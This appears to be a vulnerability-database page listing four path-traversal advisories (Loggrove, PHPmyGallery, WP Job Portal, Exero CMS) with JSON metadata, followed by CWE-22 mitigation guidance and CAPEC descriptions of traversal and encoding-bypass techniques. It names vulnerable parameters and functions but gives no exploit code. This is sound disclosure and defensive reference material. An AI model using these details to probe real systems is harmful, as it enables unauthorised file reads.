Vulnerability from github – Published: 2025-02-13 00:33 – Updated: 2025-02-13 00:33A vulnerability classified as problematic has been found in olajowon Loggrove up to e428fac38cc480f011afcb1d8ce6c2bad378ddd6. Affected is an unknown function of the file /read/?page=1&logfile=LOG_Monitor of the component Logfile Update Handler. The manipulation of the argument path leads to path traversal. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available.
{
"affected": [],
"aliases": [
"CVE-2025-1228"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-02-12T22:15:41Z",
"severity": "MODERATE"
},
"details": "A vulnerability classified as problematic has been found in olajowon Loggrove up to e428fac38cc480f011afcb1d8ce6c2bad378ddd6. Affected is an unknown function of the file /read/?page=1\u0026logfile=LOG_Monitor of the component Logfile Update Handler. The manipulation of the argument path leads to path traversal. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available.",
"id": "GHSA-xp5v-36w8-hwxm",
"modified": "2025-02-13T00:33:07Z",
"published": "2025-02-13T00:33:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1228"
},
{
"type": "WEB",
"url": "https://gitee.com/olajowon/loggrove/issues/IBJSXS"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.295218"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.295218"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-XP68-M589-2R25
Vulnerability from github – Published: 2022-05-17 00:40 – Updated: 2022-05-17 00:40Directory traversal vulnerability in _conf/core/common-tpl-vars.php in PHPmyGallery 1.0 beta2 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the lang parameter, a different issue than CVE-2008-6316 and a different vector than CVE-2008-6318.
{
"affected": [],
"aliases": [
"CVE-2008-6316"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-02-27T11:30:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in _conf/core/common-tpl-vars.php in PHPmyGallery 1.0 beta2 allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the lang parameter, a different issue than CVE-2008-6316 and a different vector than CVE-2008-6318.",
"id": "GHSA-xp68-m589-2r25",
"modified": "2022-05-17T00:40:19Z",
"published": "2022-05-17T00:40:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6316"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/47171"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/7392"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32705"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-XP7V-V7QM-R864
Vulnerability from github – Published: 2025-12-11 21:31 – Updated: 2026-04-08 18:34The WP Job Portal plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 2.4.0 via the 'downloadCustomUploadedFile' function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.
{
"affected": [],
"aliases": [
"CVE-2025-14293"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-11T21:15:46Z",
"severity": "MODERATE"
},
"details": "The WP Job Portal plugin for WordPress is vulnerable to Arbitrary File Read in all versions up to, and including, 2.4.0 via the \u0027downloadCustomUploadedFile\u0027 function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to read the contents of arbitrary files on the server, which can contain sensitive information.",
"id": "GHSA-xp7v-v7qm-r864",
"modified": "2026-04-08T18:34:00Z",
"published": "2025-12-11T21:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14293"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-job-portal/tags/2.3.9/modules/customfield/model.php#L908"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-job-portal/tags/2.4.1/modules/customfield/model.php#L908"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6dfcd264-39e3-44af-8e0e-5c35734524d0?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-XP84-WMVR-25H3
Vulnerability from github – Published: 2022-05-01 23:53 – Updated: 2022-05-01 23:53Multiple directory traversal vulnerabilities in Exero CMS 1.0.0 and 1.0.1 allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the theme parameter to (1) custompage.php, (2) errors/404.php, (3) members/memberslist.php, (4) members/profile.php, (5) news/fullview.php, (6) news/index.php, (7) nopermission.php, (8) usercp/avatar.php, or (9) usercp/editpassword.php in themes/Default/. NOTE: some of these details are obtained from third party information.
{
"affected": [],
"aliases": [
"CVE-2008-2840"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-06-24T19:41:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in Exero CMS 1.0.0 and 1.0.1 allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the theme parameter to (1) custompage.php, (2) errors/404.php, (3) members/memberslist.php, (4) members/profile.php, (5) news/fullview.php, (6) news/index.php, (7) nopermission.php, (8) usercp/avatar.php, or (9) usercp/editpassword.php in themes/Default/. NOTE: some of these details are obtained from third party information.",
"id": "GHSA-xp84-wmvr-25h3",
"modified": "2022-05-01T23:53:59Z",
"published": "2022-05-01T23:53:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2840"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/30711"
},
{
"type": "WEB",
"url": "http://sourceforge.net/project/shownotes.php?release_id=607502"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/29788"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.